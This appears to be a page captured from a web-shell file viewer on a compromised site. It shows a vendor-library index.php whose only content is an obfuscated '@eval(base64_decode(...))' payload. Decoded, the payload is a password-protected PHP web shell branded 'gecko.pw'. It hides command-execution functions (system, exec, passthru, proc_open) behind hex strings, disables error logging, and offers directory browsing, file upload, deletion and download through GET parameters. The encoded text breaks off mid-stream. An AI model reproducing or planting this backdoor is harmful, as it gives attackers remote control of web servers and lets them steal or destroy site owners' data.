?

áEÓê¤ÎïLwebshll2019

Current Path : /home/webyoo/www/leumi/site/vendors/hc-sticky/
Upload File :
Current File : /home/webyoo/www/leumi/site/vendors/hc-sticky/index.php

<?php @eval("?>".base64_decode("PD9waHAKCiRwYXNzd29yZCA9ICIxNTI0IjsgLy8gUGFzc3dvcmQgCgoKCnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokZ2Vja29bJ3ZlcnNpb24nXT0ibmV3IjsKJGdlY2tvWyd3ZWJzaXRlJ109ImdlY2tvLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICAgfQogICAgZWxzZSB7CiAgICAgICAgcHJpbnQgIjxwcmUgYWxpZ249Y2VudGVyPjxmb3JtIG1ldGhvZD1wb3N0PlBhc3N3b3JkOiA8aW5wdXQgdHlwZT0ncGFzc3dvcmQnIG5hbWU9J3Bhc3MnPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+PC9mb3JtPjwvcHJlPiI7CiAgICAgICAgZXhpdDsgICAgICAgIAogICAgfQp9CgoKCgoKCgoKCkBzZXRfdGltZV9saW1pdCgwKTsKQGNsZWFyc3RhdGNhY2hlKCk7CkBpbmlfc2V0KCdlcnJvcl9sb2cnLCBOVUxMKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLCAwKTsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsIDApOwpAaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsIDApOwpAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsKIyBmdW5jdGlvbiBXQUYKCiRBcnJheSA9IFsKICAgICc2NzY1NzQ2Mzc3NjQnLCAjIGdlICB0Y3cgZCA9PiAwCiAgICAnNjc2YzZmNjInLCAjIGdsIG9iID0+IDEKICAgICc2OTczNWY2NDY5NzInLCAjIGlzX2QgaXIgPT4gMgogICAgJzY5NzM1ZjY2Njk2YzY1JywgIyBpc18gZmlsZSA9PiAzCiAgICAnNjk3MzVmNzc3MjY5NzQ2MTYyNmM2NScsICMgaXNfd3IgaXRlYWJsZSA9PiA0CiAgICAnNjk3MzVmNzI2NTYxNjQ2MTYyNmM2NScsICMgaXNfcmUgYWRibGUgPT4gNQogICAgJzY2Njk2YzY1NzA2NTcyNmQ3MycsICMgZmlsZXBlciBtcyA9PiA2CiAgICAnNjY2OTZjNjUnLCAjIGYgaWxlID0+IDcKICAgICc3MDY4NzA1Zjc1NmU2MTZkNjUnLCAjIHBocF91bmFtIGUgPT4gOAogICAgJzY3NjU3NDVmNjM3NTcyNzI2NTZlNzQ1Zjc1NzM2NTcyJywgIyBnZXRjIHVycmVudHVzZXIgPT4gOQogICAgJzY4NzQ2ZDZjNzM3MDY1NjM2OTYxNmM2MzY4NjE3MjczJywgIyBodG1sIHNwZWNpYWwgPT4gMTAKICAgICc2NjY5NmM2NTVmNjc2NTc0NWY2MzZmNmU3NDY1NmU3NDczJywgIyBmaWwgZV9nZXRfY29udGVudHMgPT4gMTEKICAgICc2ZDZiNjQ2OTcyJywgIyBtayBkaXIgPT4gMTIKICAgICc3NDZmNzU2MzY4JywgIyB0byB1Y2ggPT4gMTMKICAgICc2MzY4NjQ2OTcyJywgIyBjaCBkaXIgPT4gMTQKICAgICc3MjY1NmU2MTZkNjUnLCAjIHJlbiBhbWUgPT4gMTUKICAgICc2NTc4NjU2MycsICMgZXhlIGMgPT4gMTYKICAgICc3MDYxNzM3Mzc0Njg3Mjc1JywgIyBwYXMgc3RocnUgPT4gMTcKICAgICc3Mzc5NzM3NDY1NmQnLCAjIHN5c3QgZW0gPT4gMTgKICAgICc3MzY4NjU2YzZjNWY2NTc4NjU2MycsICMgc2ggZWxsX2V4ZWMgPT4gMTkKICAgICc3MDZmNzA2NTZlJywgIyBwIG9wZW4gPT4gMjAKICAgICc3MDYzNmM2ZjczNjUnLCAjIHBjbCBvc2UgPT4gMjEKICAgICc3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MycsICMgc3RyZSBhbWdldGNvbnRlbnRzID0+IDIyCiAgICAnNzA3MjZmNjM1ZjZmNzA2NTZlJywgIyBwIHJvY19vcGVuID0+IDIzCiAgICAnNzU2ZTZjNjk2ZTZiJywgIyB1biBsaW5rID0+IDI0CiAgICAnNzI2ZDY0Njk3MicsICMgcm1kIGlyID0+IDI1CiAgICAnNjY2ZjcwNjU2ZScsICMgZm9wIGVuID0+IDI2CiAgICAnNjY2MzZjNmY3MzY1JywgIyBmY2wgb3NlID0+IDI3CiAgICAnNjY2OTZjNjU1ZjcwNzU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MycsICMgZmlsZV9wdXRfYyBvbnRlbnRzID0+IDI4CiAgICAnNmQ2Zjc2NjU1Zjc1NzA2YzZmNjE2NDY1NjQ1ZjY2Njk2YzY1JywgIyBtb3ZlX3VwIGxvYWRlZF9maWxlID0+IDI5CiAgICAnNjM2ODZkNmY2NCcsICMgY2ggbW9kID0+IDMwCiAgICAnNzM3OTczNWY2NzY1NzQ1Zjc0NjU2ZDcwNWY2NDY5NzInLCAjIHRlbXAgX2RpciA9PiAzMQogICAgJzYyNjE3MzY1MzYzNDVGNjQ2NTYzNkY2NDY1JywgIyA9PiBiYXMgZTYgNCBfZGVjb2RlID0+IDMyCiAgICAnNjI2MTczNjUzNjM0NUY2NTZFNjM2RjY0NjUnLCAjID0+IGJhIHNlNiA0XyBlbmNvZGUgPT4gMzMKXTsKJGhpdHVuZ19hcnJheSA9IGNvdW50KCRBcnJheSk7CmZvciAoJGkgPSAwOyAkaSA8ICRoaXR1bmdfYXJyYXk7ICRpKyspIHsKICAgICRmdW5nc2lbXSA9IHVueCgkQXJyYXlbJGldKTsKfQoKaWYgKGlzc2V0KCRfR0VUWydkJ10pKSB7CiAgICAkY2RpciA9IHVueCgkX0dFVFsnZCddKTsKICAgICRmdW5nc2lbMTRdKCRjZGlyKTsKfSBlbHNlIHsKICAgICRjZGlyID0gJGZ1bmdzaVswXSgpOwp9CgpmdW5jdGlvbiBmaWxlX2V4dCgkZmlsZSkKewogICAgaWYgKG1pbWVfY29udGVudF90eXBlKCRmaWxlKSA9PSAnaW1hZ2UvcG5nJyBvciBtaW1lX2NvbnRlbnRfdHlwZSgkZmlsZSkgPT0gJ2ltYWdlL2pwZWcnKSB7CiAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZSIgc3R5bGU9ImNvbG9yOiMwOWUzYTUiPjwvaT4nOwogICAgfSBlbHNlIGlmIChtaW1lX2NvbnRlbnRfdHlwZSgkZmlsZSkgPT0gJ2FwcGxpY2F0aW9uL3gtaHR0cGQtcGhwJyBvciBtaW1lX2NvbnRlbnRfdHlwZSgkZmlsZSkgPT0gJ3RleHQvaHRtbCcpIHsKICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1zb2xpZCBmYS1maWxlLWNvZGUiIHN0eWxlPSJjb2xvcjojMDk4NWUzIj48L2k+JzsKICAgIH0gZWxzZSBpZiAobWltZV9jb250ZW50X3R5cGUoJGZpbGUpID09ICd0ZXh0L2phdmFzY3JpcHQnKSB7CiAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtYnJhbmRzIGZhLXNxdWFyZS1qcyI+PC9pPic7CiAgICB9IGVsc2UgaWYgKG1pbWVfY29udGVudF90eXBlKCRmaWxlKSA9PSAnYXBwbGljYXRpb24vemlwJyBvciBtaW1lX2NvbnRlbnRfdHlwZSgkZmlsZSkgPT0gJ2FwcGxpY2F0aW9uL3gtN3otY29tcHJlc3NlZCcpIHsKICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1zb2xpZCBmYS1maWxlLXppcHBlciIgc3R5bGU9ImNvbG9yOiNlMzlhMDkiPjwvaT4nOwogICAgfSBlbHNlIGlmIChtaW1lX2NvbnRlbnRfdHlwZSgkZmlsZSkgPT0gJ3RleHQvcGxhaW4nKSB7CiAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSIgc3R5bGU9ImNvbG9yOiNlZGY3ZjUiPjwvaT4nOwogICAgfSBlbHNlIGlmIChtaW1lX2NvbnRlbnRfdHlwZSgkZmlsZSkgPT0gJ2FwcGxpY2F0aW9uL3BkZicpIHsKICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtcGRmIiBzdHlsZT0iY29sb3I6I2JhMmIwZiI+PC9pPic7CiAgICB9IGVsc2UgewogICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLXJlZ3VsYXIgZmEtZmlsZS1jb2RlIiBzdHlsZT0iY29sb3I6IzA5ODVlMyI+PC9pPic7CiAgICB9Cn0KCmZ1bmN0aW9uIGRvd25sb2FkKCRmaWxlKQp7CgogICAgaWYgKGZpbGVfZXhpc3RzKCRmaWxlKSkgewogICAgICAgIGhlYWRlcignQ29udGVudC1EZXNjcmlwdGlvbjogRmlsZSBUcmFuc2ZlcicpOwogICAgICAgIGhlYWRlcignQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nKTsKICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPScgLiBiYXNlbmFtZSgkZmlsZSkpOwogICAgICAgIGhlYWRlcignQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmluYXJ5Jyk7CiAgICAgICAgaGVhZGVyKCdFeHBpcmVzOiAwJyk7CiAgICAgICAgaGVhZGVyKCdDYWNoZS1Db250cm9sOiBtdXN0LXJldmFsaWRhdGUnKTsKICAgICAgICBoZWFkZXIoJ1ByYWdtYTogcHVibGljJyk7CiAgICAgICAgaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJyAuIGZpbGVzaXplKCRmaWxlKSk7CiAgICAgICAgb2JfY2xlYW4oKTsKICAgICAgICBmbHVzaCgpOwogICAgICAgIHJlYWRmaWxlKCRmaWxlKTsKICAgICAgICBleGl0OwogICAgfQp9CgppZiAoJF9HRVRbJ2RvbiddID09IHRydWUpIHsKICAgICRGaWxlc0RvbiA9IGRvd25sb2FkKHVueCgkX0dFVFsnZG9uJ10pKTsKfQo/Pgo8IURPQ1RZUEUgaHRtbD4KPGh0bWwgbGFuZz0iZW4iPgoKPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPgogICAgPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJub2luZGV4LCBub2ZvbGxvdyI+CiAgICA8bWV0YSBuYW1lPSJnb29nbGVib3QiIGNvbnRlbnQ9Im5vaW5kZXgiPgogICAgPHRpdGxlPkdlY2tvIFsgPD89ICRfU0VSVkVSWydTRVJWRVJfTkFNRSddOyA/PiBdPC90aXRsZT4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvY29kZW1pcnJvci81LjYzLjAvY29kZW1pcnJvci5taW4uY3NzIj4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvY29kZW1pcnJvci81LjYzLjAvdGhlbWUvYXl1LW1pcmFnZS5taW4uY3NzIj4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvY29kZW1pcnJvci81LjYzLjAvYWRkb24vaGludC9zaG93LWhpbnQubWluLmNzcyI+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjYuMC9jc3MvYWxsLm1pbi5jc3MiIGludGVncml0eT0ic2hhNTEyLUtjMzIzdkdCRXF6VG1vdUFFQ25WY2V5UXF5cWRzU2lxTFFJU0JMMjlhVVc0VS9NN3BTUEEvZ0VVWlFxdjFjd3g0T25ZeFR4dmU1VU1nNUdUNkw0SkpnPT0iIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2FqYXguZ29vZ2xlYXBpcy5jb20vYWpheC9saWJzL2pxdWVyeS8zLjYuMS9qcXVlcnkubWluLmpzIj48L3NjcmlwdD4KICAgIDxzY3JpcHQgc3JjPSIvL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL3N3ZWV0YWxlcnQyQDExIj48L3NjcmlwdD4KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9jb2RlbWlycm9yLzUuNjMuMC9jb2RlbWlycm9yLm1pbi5qcyI+PC9zY3JpcHQ+CiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvY29kZW1pcnJvci81LjYzLjAvbW9kZS94bWwveG1sLm1pbi5qcyI+PC9zY3JpcHQ+CiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvY29kZW1pcnJvci81LjYzLjAvbW9kZS9qYXZhc2NyaXB0L2phdmFzY3JpcHQubWluLmpzIj48L3NjcmlwdD4KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9jb2RlbWlycm9yLzUuNjMuMC9hZGRvbi9oaW50L3Nob3ctaGludC5taW4uanMiPjwvc2NyaXB0PgogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NvZGVtaXJyb3IvNS42My4wL2FkZG9uL2hpbnQveG1sLWhpbnQubWluLmpzIj48L3NjcmlwdD4KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9jb2RlbWlycm9yLzUuNjMuMC9hZGRvbi9oaW50L2h0bWwtaGludC5taW4uanMiPjwvc2NyaXB0PgogICAgPHN0eWxlPgogICAgICAgIEBtZWRpYSBzY3JlZW4gYW5kIChtaW4td2lkdGg6IDc2OHB4KSBhbmQgKG1heC13aWR0aDogMTIwMHB4KSBhbmQgKG1pbi1oZWlnaHQ6NzIwcHgpIHsKICAgICAgICAgICAgLmNvZGUtZWRpdG9yLWNvbnRhaW5lciB7CiAgICAgICAgICAgICAgICBoZWlnaHQ6IDg1dmggIWltcG9ydGFudDsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLkNvZGVNaXJyb3IgewogICAgICAgICAgICAgICAgaGVpZ2h0OiA3MnZoICFpbXBvcnRhbnQ7CiAgICAgICAgICAgICAgICBmb250LXNpemU6IHh4LWxhcmdlICFpbXBvcnRhbnQ7CiAgICAgICAgICAgICAgICBtYXJnaW46IDAgNHB4OwogICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNHB4OwogICAgICAgICAgICB9CgogICAgICAgICAgICAuYnRuLW1vZGFsLWNsb3NlIHsKICAgICAgICAgICAgICAgIHBhZGRpbmc6IDE1cHggNDBweCAhaW1wb3J0YW50OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAuYnRuLXN1Ym1pdCwKICAgICAgICBhIHsKICAgICAgICAgICAgdGV4dC1kZWNvcmF0aW9uOiBub25lOwogICAgICAgICAgICBjb2xvcjogI2ZmZgogICAgICAgIH0KCiAgICAgICAgYSwKICAgICAgICBib2R5IHsKICAgICAgICAgICAgY29sb3I6ICNmZmYKICAgICAgICB9CgogICAgICAgIC5idG4tc3VibWl0LAogICAgICAgIC5mb3JtLWZpbGUsCiAgICAgICAgdGJvZHkgdHI6bnRoLWNoaWxkKDJuKSB7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyMjI0MmQKICAgICAgICB9CgogICAgICAgIC5jb2RlLWVkaXRvciwKICAgICAgICAubW9kYWwsCiAgICAgICAgLnRlcm1pbmFsIHsKICAgICAgICAgICAgcG9zaXRpb246IGZpeGVkOwogICAgICAgICAgICB0b3A6IDA7CiAgICAgICAgICAgIGxlZnQ6IDA7CiAgICAgICAgICAgIHJpZ2h0OiAwOwogICAgICAgICAgICBib3R0b206IDAKICAgICAgICB9CgogICAgICAgIC5jb2RlLWVkaXRvci1ib2R5IHRleHRhcmVhLAogICAgICAgIC50ZXJtaW5hbC1ib2R5IHRleHRhcmVhIHsKICAgICAgICAgICAgd2lkdGg6IDk4LjUlOwogICAgICAgICAgICBoZWlnaHQ6IDQwMHB4OwogICAgICAgICAgICBmb250LXNpemU6IHNtYWxsZXI7CiAgICAgICAgICAgIHJlc2l6ZTogbm9uZQogICAgICAgIH0KCiAgICAgICAgLm1lbnUtdG9vbHMgbGksCiAgICAgICAgLnRlcm1pbmFsLWJvZHkgbGksCiAgICAgICAgLnRlcm1pbmFsLWhlYWQgbGkgewogICAgICAgICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2sKICAgICAgICB9CgogICAgICAgIGJvZHkgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMGUwZjE3OwogICAgICAgICAgICBmb250LWZhbWlseTogbW9ub3NwYWNlCiAgICAgICAgfQoKICAgICAgICAuYnRuLW1vZGFsLWNsb3NlOmhvdmVyLAogICAgICAgIC5idG4tc3VibWl0OmhvdmVyLAogICAgICAgIC5tZW51LWZpbGUtbWFuYWdlciB1bCwKICAgICAgICAucGF0aC1wd2QsCiAgICAgICAgdGhlYWQgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMmUzMTNkCiAgICAgICAgfQoKICAgICAgICB1bCB7CiAgICAgICAgICAgIGxpc3Qtc3R5bGU6IG5vbmUKICAgICAgICB9CgogICAgICAgIC5tZW51LWhlYWRlciBsaSB7CiAgICAgICAgICAgIHBhZGRpbmc6IDVweCAwCiAgICAgICAgfQoKICAgICAgICAubWVudS1oZWFkZXIgdWwgbGkgewogICAgICAgICAgICBmb250LXdlaWdodDogNzAwOwogICAgICAgICAgICBmb250LXN0eWxlOiBpdGFsaWMKICAgICAgICB9CgogICAgICAgIC5idG4tc3VibWl0IHsKICAgICAgICAgICAgcGFkZGluZzogN3B4IDI1cHg7CiAgICAgICAgICAgIGJvcmRlcjogMnB4IHNvbGlkIGdyZXk7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweAogICAgICAgIH0KCiAgICAgICAgLmZvcm0tZmlsZSwKICAgICAgICBhOmhvdmVyIHsKICAgICAgICAgICAgY29sb3I6ICNjNWM4ZDYKICAgICAgICB9CgogICAgICAgIC5idG4tc3VibWl0OmhvdmVyIHsKICAgICAgICAgICAgYm9yZGVyOiAycHggc29saWQgI2M1YzhkNgogICAgICAgIH0KCiAgICAgICAgLmZvcm0tdXBsb2FkIHsKICAgICAgICAgICAgbWFyZ2luOiAxMHB4IDAKICAgICAgICB9CgogICAgICAgIC5mb3JtLWZpbGUgewogICAgICAgICAgICBib3JkZXI6IDJweCBzb2xpZCBncmV5OwogICAgICAgICAgICBwYWRkaW5nOiA3cHggMjBweDsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNHB4CiAgICAgICAgfQoKICAgICAgICAubWVudS10b29scyB7CiAgICAgICAgICAgIHdpZHRoOiA5NSUKICAgICAgICB9CgogICAgICAgIC5tZW51LXRvb2xzIGxpIHsKICAgICAgICAgICAgbWFyZ2luOiAxNXB4IDAKICAgICAgICB9CgogICAgICAgIC5tZW51LWZpbGUtbWFuYWdlciwKICAgICAgICAubW9kYWwtbWFpbC10ZXh0IHsKICAgICAgICAgICAgbWFyZ2luOiAxMHB4IDQwcHgKICAgICAgICB9CgogICAgICAgIC5tZW51LWZpbGUtbWFuYWdlciBsaSB7CiAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9jazsKICAgICAgICAgICAgbWFyZ2luOiAxNXB4IDIwcHgKICAgICAgICB9CgogICAgICAgIC5tZW51LWZpbGUtbWFuYWdlciBsaSBhOjphZnRlciB7CiAgICAgICAgICAgIGNvbnRlbnQ6ICIiOwogICAgICAgICAgICBkaXNwbGF5OiBibG9jazsKICAgICAgICAgICAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICNmZmYKICAgICAgICB9CgogICAgICAgIC5wYXRoLXB3ZCB7CiAgICAgICAgICAgIHBhZGRpbmc6IDE1cHggMDsKICAgICAgICAgICAgbWFyZ2luOiA1cHggMAogICAgICAgIH0KCiAgICAgICAgdGFibGUgewogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1cHgKICAgICAgICB9CgogICAgICAgIHRoZWFkIHsKICAgICAgICAgICAgaGVpZ2h0OiAzNXB4CiAgICAgICAgfQoKICAgICAgICB0Ym9keSB0ciB0ZCB7CiAgICAgICAgICAgIHBhZGRpbmc6IDEwcHggMAogICAgICAgIH0KCiAgICAgICAgdGJvZHkgdHIgdGQ6bnRoLWNoaWxkKDIpLAogICAgICAgIHRib2R5IHRyIHRkOm50aC1jaGlsZCgzKSwKICAgICAgICB0Ym9keSB0ciB0ZDpudGgtY2hpbGQoNCkgewogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXIKICAgICAgICB9CgogICAgICAgIDo6LXdlYmtpdC1zY3JvbGxiYXIgewogICAgICAgICAgICB3aWR0aDogMTZweAogICAgICAgIH0KCiAgICAgICAgOjotd2Via2l0LXNjcm9sbGJhci10cmFjayB7CiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMwZTBmMTcKICAgICAgICB9CgogICAgICAgIDo6LXdlYmtpdC1zY3JvbGxiYXItdGh1bWIgewogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMjIyNDJkOwogICAgICAgICAgICBib3JkZXI6IDJweCBzb2xpZCAjNTU1OwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHgKICAgICAgICB9CgogICAgICAgIDo6LXdlYmtpdC1zY3JvbGxiYXItdGh1bWI6aG92ZXIgewogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjNTU1CiAgICAgICAgfQoKICAgICAgICA6Oi13ZWJraXQtZmlsZS11cGxvYWQtYnV0dG9uIHsKICAgICAgICAgICAgZGlzcGxheTogbm9uZQogICAgICAgIH0KCiAgICAgICAgLm1vZGFsIHsKICAgICAgICAgICAgZGlzcGxheTogbm9uZTsKICAgICAgICAgICAgei1pbmRleDogMjsKICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHJnYmEoMCwgMCwgMCwgLjMpCiAgICAgICAgfQoKICAgICAgICAubW9kYWwtY29udGFpbmVyIHsKICAgICAgICAgICAgYW5pbWF0aW9uLW5hbWU6IG1vZGFsLXBvcC1vdXQ7CiAgICAgICAgICAgIGFuaW1hdGlvbi1kdXJhdGlvbjogLjdzOwogICAgICAgICAgICBhbmltYXRpb24tZmlsbC1tb2RlOiBib3RoOwogICAgICAgICAgICBtYXJnaW46IDEwJSBhdXRvIGF1dG87CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDEwcHg7CiAgICAgICAgICAgIHdpZHRoOiA4MDBweDsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2Y0ZjRmOQogICAgICAgIH0KCiAgICAgICAgQGtleWZyYW1lcyBtb2RhbC1wb3Atb3V0IHsKICAgICAgICAgICAgZnJvbSB7CiAgICAgICAgICAgICAgICBvcGFjaXR5OiAwCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHRvIHsKICAgICAgICAgICAgICAgIG9wYWNpdHk6IDEKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLm1vZGFsLWhlYWRlciB7CiAgICAgICAgICAgIGNvbG9yOiAjMDAwOwogICAgICAgICAgICBtYXJnaW4tbGVmdDogMzBweDsKICAgICAgICAgICAgcGFkZGluZzogMTBweAogICAgICAgIH0KCiAgICAgICAgLm1vZGFsLWJvZHksCiAgICAgICAgLnRlcm1pbmFsLWhlYWQgbGkgewogICAgICAgICAgICBjb2xvcjogIzAwMAogICAgICAgIH0KCiAgICAgICAgLm1vZGFsLWNyZWF0ZS1pbnB1dCB7CiAgICAgICAgICAgIHdpZHRoOiA3MDBweDsKICAgICAgICAgICAgcGFkZGluZzogMTBweCA1cHg7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmNGY0Zjk7CiAgICAgICAgICAgIG1hcmdpbjogMCA1JTsKICAgICAgICAgICAgYm9yZGVyOiBub25lOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHg7CiAgICAgICAgICAgIGJveC1zaGFkb3c6IDhweCA4cHggMjBweCByZ2JhKDAsIDAsIDAsIC4yKTsKICAgICAgICAgICAgYm9yZGVyLWJvdHRvbTogMnB4IHNvbGlkICMwZTBmMTcKICAgICAgICB9CgogICAgICAgIC5ib3gtc2hhZG93IHsKICAgICAgICAgICAgYm94LXNoYWRvdzogOHB4IDhweCA4cHggcmdiYSgwLCAwLCAwLCAuMikKICAgICAgICB9CgogICAgICAgIC5idG4tbW9kYWwtY2xvc2UgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMjIyNDJkOwogICAgICAgICAgICBjb2xvcjogI2ZmZjsKICAgICAgICAgICAgYm9yZGVyOiBub25lOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHg7CiAgICAgICAgICAgIHBhZGRpbmc6IDhweCAzNXB4CiAgICAgICAgfQoKICAgICAgICAuYmFkZ2UtYWN0aW9uLWNobW9kOmhvdmVyOjphZnRlciwKICAgICAgICAuYmFkZ2UtYWN0aW9uLWRvd25sb2FkOmhvdmVyOjphZnRlciwKICAgICAgICAuYmFkZ2UtYWN0aW9uLWVkaXRvcjpob3Zlcjo6YWZ0ZXIgewogICAgICAgICAgICBwYWRkaW5nOiA1cHg7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDVweDsKICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDExMHB4OwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMmUzMTNkCiAgICAgICAgfQoKICAgICAgICAubW9kYWwtYnRuLWZvcm0gewogICAgICAgICAgICBtYXJnaW46IDE1cHggMDsKICAgICAgICAgICAgcGFkZGluZzogMTBweDsKICAgICAgICAgICAgdGV4dC1hbGlnbjogcmlnaHQKICAgICAgICB9CgogICAgICAgIC5maWxlLXNpemUgewogICAgICAgICAgICBjb2xvcjogb3JhbmdlCiAgICAgICAgfQoKICAgICAgICAuYmFkZ2Utcm9vdDo6YWZ0ZXIgewogICAgICAgICAgICBjb250ZW50OiAicm9vdCI7CiAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrOwogICAgICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7CiAgICAgICAgICAgIHdpZHRoOiA0MHB4OwogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7CiAgICAgICAgICAgIG1hcmdpbi10b3A6IC0zMHB4OwogICAgICAgICAgICBtYXJnaW4tbGVmdDogMTEwcHg7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogcmVkCiAgICAgICAgfQoKICAgICAgICAuYmFkZ2UtcHJlbWl1bTo6YWZ0ZXIgewogICAgICAgICAgICBjb250ZW50OiAic29vbiEiOwogICAgICAgICAgICBkaXNwbGF5OiBibG9jazsKICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlOwogICAgICAgICAgICB3aWR0aDogNDBweDsKICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOwogICAgICAgICAgICBtYXJnaW4tdG9wOiAtMzBweDsKICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDE0MHB4OwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHg7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHJlZAogICAgICAgIH0KCiAgICAgICAgLmJhZGdlLWFjdGlvbi1jaG1vZDpob3Zlcjo6YWZ0ZXIsCiAgICAgICAgLmJhZGdlLWFjdGlvbi1kb3dubG9hZDpob3Zlcjo6YWZ0ZXIsCiAgICAgICAgLmJhZGdlLWFjdGlvbi1lZGl0b3I6aG92ZXI6OmFmdGVyLAogICAgICAgIC5iYWRnZS1saW51eDo6YWZ0ZXIsCiAgICAgICAgLmJhZGdlLXdpbmRvd3M6OmFmd